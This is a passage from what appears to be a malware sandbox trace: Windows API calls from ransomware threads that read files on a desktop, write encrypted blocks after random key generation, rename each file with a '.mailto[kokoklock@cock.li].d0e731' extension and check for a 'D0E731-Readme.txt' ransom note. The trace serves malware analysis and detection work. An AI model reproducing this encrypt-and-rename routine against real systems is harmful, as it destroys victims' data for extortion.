Size=0x40) returned 0x2f87428 [0172.068] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.068] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d00 [0172.069] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d00) returned 1 [0172.069] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.069] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.069] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d00 [0172.069] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d00) returned 1 [0172.069] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.069] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.069] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1417faac, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1417faac*=0x4096, lpOverlapped=0x0) returned 1 [0172.070] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.070] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x4eaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.070] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1417fae4, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x1417fae4*=0x20, lpOverlapped=0x0) returned 1 [0172.070] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.070] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.070] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057cd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1417faf8, lpOverlapped=0x0 | out: lpBuffer=0x3057cd8*, lpNumberOfBytesWritten=0x1417faf8*=0x8, lpOverlapped=0x0) returned 1 [0172.070] WriteFile (in: hFile=0x5d4, lpBuffer=0x1417fb10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1417faf8, lpOverlapped=0x0 | out: lpBuffer=0x1417fb10*, lpNumberOfBytesWritten=0x1417faf8*=0x4, lpOverlapped=0x0) returned 1 [0172.070] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1417faf8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1417faf8*=0x4, lpOverlapped=0x0) returned 1 [0172.070] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1417faf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1417faf8*=0x6c, lpOverlapped=0x0) returned 1 [0172.070] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1417faf8, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x1417faf8*=0x20, lpOverlapped=0x0) returned 1 [0172.070] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1417faf8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1417faf8*=0x4, lpOverlapped=0x0) returned 1 [0172.071] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.071] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cb0) returned 1 [0172.071] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cd8) returned 1 [0172.071] CloseHandle (hObject=0x5d4) returned 1 [0172.294] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f97758 [0172.294] wcscpy (in: _Dest=0x2f97758, _Source="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731" [0172.294] wcscat (in: _Dest=0x2f97758, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.294] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\qprye_u yi.bmp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\qprye_u yi.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.339] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.339] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97758) returned 1 [0172.340] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.340] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa41e0 [0172.340] wcscpy (in: _Dest=0x2fa41e0, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.340] wcscat (in: _Dest=0x2fa41e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.340] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.340] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa41e0) returned 1 [0172.340] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf0a0) returned 1 [0172.340] RtlExitUserThread (Status=0x1) Thread: id = 1955 os_tid = 0xfbc [0170.755] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\s51-ba5kuv_0nwfh.wav.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.036] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\s51-ba5kuv_0nwfh.wav.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.037] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x141ff9b4 | out: lpFileSize=0x141ff9b4*=27993) returned 1 [0172.037] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x6d55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.037] ReadFile (in: hFile=0x5d4, lpBuffer=0x141ff988, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x141ff984, lpOverlapped=0x0 | out: lpBuffer=0x141ff988*, lpNumberOfBytesRead=0x141ff984*=0x4, lpOverlapped=0x0) returned 1 [0172.038] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.038] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.038] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.038] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058138 [0172.038] NtQuerySystemTime (in: CurrentTime=0x141ff960 | out: CurrentTime=0x141ff960*=132121213293577139) returned 0x0 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0xdac281ec [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0xefdc860 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0xed0883a [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x4455edef [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x2dffb872 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0xc03c1d00 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0xe6322be7 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x980e5dc8 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x13d8dc82 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0xe37254e9 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x7bdf8324 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0xe5cba3b1 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x12c073ae [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x6ad1e327 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x281d6818 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x6d7c3c08 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x3034a978 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x1de3a7e6 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x2858069a [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x69e1ecb6 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0xf89a29f9 [0172.038] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x8d9ff709 [0172.039] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0xf5c0ee1b [0172.039] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x3aca2f1 [0172.039] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0xa5f81c8a [0172.039] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x13d06ef9 [0172.039] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x939ab056 [0172.039] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x3f60cbe4 [0172.039] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0xa5948671 [0172.039] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x4ce39a92 [0172.039] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0xdb1dab50 [0172.039] RtlRandom (in: Seed=0x141ff96c | out: Seed=0x141ff96c) returned 0x324a0348 [0172.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057c88 [0172.050] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.050] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cb0 [0172.050] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.050] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.050] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.050] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.050] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x141ff938, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x141ff938*=0x4096, lpOverlapped=0x0) returned 1 [0172.051] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.051] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.051] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.051] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cd8 [0172.051] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cd8) returned 1 [0172.051] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.051] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.051] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cd8 [0172.051] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cd8) returned 1 [0172.051] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.051] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.051] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x141ff938, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x141ff938*=0x4096, lpOverlapped=0x0) returned 1 [0172.052] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.052] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x6d59, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.052] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x141ff970, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x141ff970*=0x20, lpOverlapped=0x0) returned 1 [0172.052] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.052] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.052] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057cb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x141ff984, lpOverlapped=0x0 | out: lpBuffer=0x3057cb0*, lpNumberOfBytesWritten=0x141ff984*=0x8, lpOverlapped=0x0) returned 1 [0172.052] WriteFile (in: hFile=0x5d4, lpBuffer=0x141ff99c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x141ff984, lpOverlapped=0x0 | out: lpBuffer=0x141ff99c*, lpNumberOfBytesWritten=0x141ff984*=0x4, lpOverlapped=0x0) returned 1 [0172.052] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x141ff984, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x141ff984*=0x4, lpOverlapped=0x0) returned 1 [0172.053] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x141ff984, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x141ff984*=0x6c, lpOverlapped=0x0) returned 1 [0172.053] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x141ff984, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x141ff984*=0x20, lpOverlapped=0x0) returned 1 [0172.053] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x141ff984, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x141ff984*=0x4, lpOverlapped=0x0) returned 1 [0172.053] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.053] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057c88) returned 1 [0172.053] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cb0) returned 1 [0172.053] CloseHandle (hObject=0x5d4) returned 1 [0172.294] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2f98978 [0172.294] wcscpy (in: _Dest=0x2f98978, _Source="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731" [0172.294] wcscat (in: _Dest=0x2f98978, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.294] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\s51-ba5kuv_0nwfh.wav.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\s51-ba5kuv_0nwfh.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.344] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.344] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98978) returned 1 [0172.344] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.344] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.344] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.345] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.345] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.345] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.345] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedb08) returned 1 [0172.345] RtlExitUserThread (Status=0x1) Thread: id = 1956 os_tid = 0xfc0 [0170.756] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\sz tn3fnluirhzick.odp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.018] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.018] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\sz tn3fnluirhzick.odp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.018] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x1427fbe8 | out: lpFileSize=0x1427fbe8*=52427) returned 1 [0172.018] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0xccc7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.018] ReadFile (in: hFile=0x5d4, lpBuffer=0x1427fbbc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1427fbb8, lpOverlapped=0x0 | out: lpBuffer=0x1427fbbc*, lpNumberOfBytesRead=0x1427fbb8*=0x4, lpOverlapped=0x0) returned 1 [0172.019] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058110 [0172.020] NtQuerySystemTime (in: CurrentTime=0x1427fb94 | out: CurrentTime=0x1427fb94*=132121213293420745) returned 0x0 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x32a390b9 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x5dcc1605 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x2a6b4ea5 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x683ef885 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x7c86a068 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x324afcd3 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x8829dc67 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x3d3877ba [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x936c7209 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x7b314689 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0xc12c62b8 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x8bd1dfa9 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x37d3bf16 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x6b5489b2 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x7b4cfccf [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x5f24d4a0 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x666fec36 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x60ecabc0 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x30458a19 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x15108411 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0xecb15b34 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x2bb4badb [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0xb4d2d748 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x2a6eef75 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0xb7e4526e [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x749cc521 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x29bdb79c [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x2d8978b4 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0xf3d471a6 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x6971269d [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x39cbe4c1 [0172.020] RtlRandom (in: Seed=0x1427fba0 | out: Seed=0x1427fba0) returned 0x2c76533d [0172.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058138 [0172.031] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.032] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057c88 [0172.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.032] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.032] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.032] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1427fb6c, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1427fb6c*=0x4096, lpOverlapped=0x0) returned 1 [0172.032] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.032] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.032] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cb0 [0172.033] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cb0) returned 1 [0172.033] RtlAllocateHeap 